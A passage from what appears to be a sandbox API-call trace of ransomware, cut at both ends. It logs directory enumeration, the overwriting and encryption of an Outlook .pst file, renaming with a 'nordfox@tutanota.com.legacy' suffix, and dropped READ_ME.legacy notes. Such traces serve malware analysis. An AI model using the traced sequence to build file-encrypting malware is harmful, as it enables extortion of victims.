shapes\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41738 | out: hHeap=0x520000) returned 1 [0118.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0118.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0118.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0118.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0118.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0118.209] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\My Videos\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0118.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d660 [0118.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0118.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0118.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0118.210] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\Outlook Files\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xddc1fe1e, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd37fc4b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566d58 [0118.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0118.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0118.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0118.210] GetLastError () returned 0x5 [0118.210] SetLastError (dwErrCode=0x5) [0118.210] GetLastError () returned 0x5 [0118.211] SetLastError (dwErrCode=0x5) [0118.211] GetLastError () returned 0x5 [0118.211] SetLastError (dwErrCode=0x5) [0118.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d500 [0118.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0118.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0118.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567018 [0118.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567018 | out: hHeap=0x520000) returned 1 [0118.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20120 [0118.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0118.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0118.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.211] FindNextFileW (in: hFindFile=0x566d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xddc1fe1e, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd37fc4b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0118.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0118.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0118.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0118.212] GetLastError () returned 0x5 [0118.212] SetLastError (dwErrCode=0x5) [0118.212] GetLastError () returned 0x5 [0118.212] SetLastError (dwErrCode=0x5) [0118.212] GetLastError () returned 0x5 [0118.212] SetLastError (dwErrCode=0x5) [0118.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0118.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0118.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0118.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566dd8 [0118.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566dd8 | out: hHeap=0x520000) returned 1 [0118.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0118.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0118.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0118.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0118.213] FindNextFileW (in: hFindFile=0x566d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddbf9d33, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="kkcie@kdj.kd.pst", cAlternateFileName="KKCIE@~1.PST")) returned 1 [0118.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0118.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0118.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0118.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0118.213] GetLastError () returned 0x5 [0118.213] SetLastError (dwErrCode=0x5) [0118.213] GetLastError () returned 0x5 [0118.213] SetLastError (dwErrCode=0x5) [0118.213] GetLastError () returned 0x5 [0118.213] SetLastError (dwErrCode=0x5) [0118.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0118.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0118.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0118.214] FindNextFileW (in: hFindFile=0x566d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37fc4b0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd37fc4b0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd37fc4b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0118.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0118.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0118.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0118.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0118.214] GetLastError () returned 0x5 [0118.214] SetLastError (dwErrCode=0x5) [0118.214] GetLastError () returned 0x5 [0118.214] SetLastError (dwErrCode=0x5) [0118.214] GetLastError () returned 0x5 [0118.214] SetLastError (dwErrCode=0x5) [0118.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0118.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0118.214] FindNextFileW (in: hFindFile=0x566d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37fc4b0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd37fc4b0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd37fc4b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0118.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0118.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0118.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0118.215] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0118.215] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0118.215] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", dwFileAttributes=0x80) returned 1 [0118.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0118.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0118.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0118.216] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b4 [0118.216] GetFileSizeEx (in: hFile=0x6b4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=271360) returned 1 [0118.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x42400) returned 0x2e41f30 [0118.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x42400) returned 0x2e84338 [0118.218] ReadFile (in: hFile=0x6b4, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x42400, lpOverlapped=0x0) returned 1 [0118.247] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=-271360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.247] WriteFile (in: hFile=0x6b4, lpBuffer=0x2e84338*, nNumberOfBytesToWrite=0x42400, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e84338*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42400, lpOverlapped=0x0) returned 1 [0118.248] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.248] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e84338 | out: hHeap=0x520000) returned 1 [0118.267] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42400 [0118.267] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.267] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.268] WriteFile (in: hFile=0x6b4, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.268] WriteFile (in: hFile=0x6b4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.268] CloseHandle (hObject=0x6b4) returned 1 [0118.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0118.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0118.269] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), lpNewFileName="\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0118.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0118.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0118.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0118.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0118.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0118.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0118.270] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x391729c0, ftCreationTime.dwHighDateTime=0x1d4cca0, ftLastAccessTime.dwLowDateTime=0x8670f3d0, ftLastAccessTime.dwHighDateTime=0x1d4d354, ftLastWriteTime.dwLowDateTime=0xd37fc4b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5671d8 [0118.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0118.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0118.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0118.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0118.271] GetLastError () returned 0x0 [0118.271] SetLastError (dwErrCode=0x0) [0118.271] GetLastError () returned 0x0 [0118.271] SetLastError (dwErrCode=0x0) [0118.271] GetLastError () returned 0x0 [0118.271] SetLastError (dwErrCode=0x0) [0118.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0118.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0118.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567118 [0118.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0118.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0118.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0118.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0118.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.271] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x391729c0, ftCreationTime.dwHighDateTime=0x1d4cca0, ftLastAccessTime.dwLowDateTime=0x8670f3d0, ftLastAccessTime.dwHighDateTime=0x1d4d354, ftLastWriteTime.dwLowDateTime=0xd37fc4b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0118.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0118.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0118.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0118.272] GetLastError () returned 0x0 [0118.272] SetLastError (dwErrCode=0x0) [0118.272] GetLastError () returned 0x0 [0118.272] SetLastError (dwErrCode=0x0) [0118.272] GetLastError () returned 0x0 [0118.272] SetLastError (dwErrCode=0x0) [0118.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d500 [0118.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0118.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0118.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566b98 [0118.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566b98 | out: hHeap=0x520000) returned 1 [0118.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0118.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0118.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0118.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.272] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x532a8030, ftCreationTime.dwHighDateTime=0x1d4d4f4, ftLastAccessTime.dwLowDateTime=0x92ee4740, ftLastAccessTime.dwHighDateTime=0x1d4c96b, ftLastWriteTime.dwLowDateTime=0x92ee4740, ftLastWriteTime.dwHighDateTime=0x1d4c96b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="6pegi30GmfrfqiXg89d", cAlternateFileName="6PEGI3~1")) returned 1 [0118.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0118.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0118.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0118.272] GetLastError () returned 0x0 [0118.272] SetLastError (dwErrCode=0x0) [0118.272] GetLastError () returned 0x0 [0118.272] SetLastError (dwErrCode=0x0) [0118.273] GetLastError () returned 0x0 [0118.273] SetLastError (dwErrCode=0x0) [0118.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0118.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0118.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0118.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b08 [0118.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0118.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0118.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0118.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0118.273] GetLastError () returned 0x0 [0118.273] SetLastError (dwErrCode=0x0) [0118.273] GetLastError () returned 0x0 [0118.273] SetLastError (dwErrCode=0x0) [0118.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0118.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.273] GetLastError () returned 0x0 [0118.273] SetLastError (dwErrCode=0x0) [0118.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563df8 [0118.273] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\6pegi30GmfrfqiXg89d\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\6pegi30gmfrfqixg89d\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0118.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563df8 | out: hHeap=0x520000) returned 1 [0118.274] WriteFile (in: hFile=0x6b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0118.275] CloseHandle (hObject=0x6b8) returned 1 [0118.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0118.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0118.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0118.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.275] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa54ece20, ftCreationTime.dwHighDateTime=0x1d4ce14, ftLastAccessTime.dwLowDateTime=0xc6561e0, ftLastAccessTime.dwHighDateTime=0x1d4c66e, ftLastWriteTime.dwLowDateTime=0xc6561e0, ftLastWriteTime.dwHighDateTime=0x1d4c66e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ewD4MeSMGV8e1.pptx", cAlternateFileName="EWD4ME~1.PPT")) returned 1 [0118.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0118.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0118.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0118.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0118.275] GetLastError () returned 0x0 [0118.275] SetLastError (dwErrCode=0x0) [0118.275] GetLastError () returned 0x0 [0118.275] SetLastError (dwErrCode=0x0) [0118.275] GetLastError () returned 0x0 [0118.276] SetLastError (dwErrCode=0x0) [0118.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.276] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97944640, ftCreationTime.dwHighDateTime=0x1d4d40c, ftLastAccessTime.dwLowDateTime=0xf6936090, ftLastAccessTime.dwHighDateTime=0x1d4c88b, ftLastWriteTime.dwLowDateTime=0xf6936090, ftLastWriteTime.dwHighDateTime=0x1d4c88b, nFileSizeHigh=0x0, nFileSizeLow=0xe45b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="F_W-HXxlKUh0nFJn.csv", cAlternateFileName="F_W-HX~1.CSV")) returned 1 [0118.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0118.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, 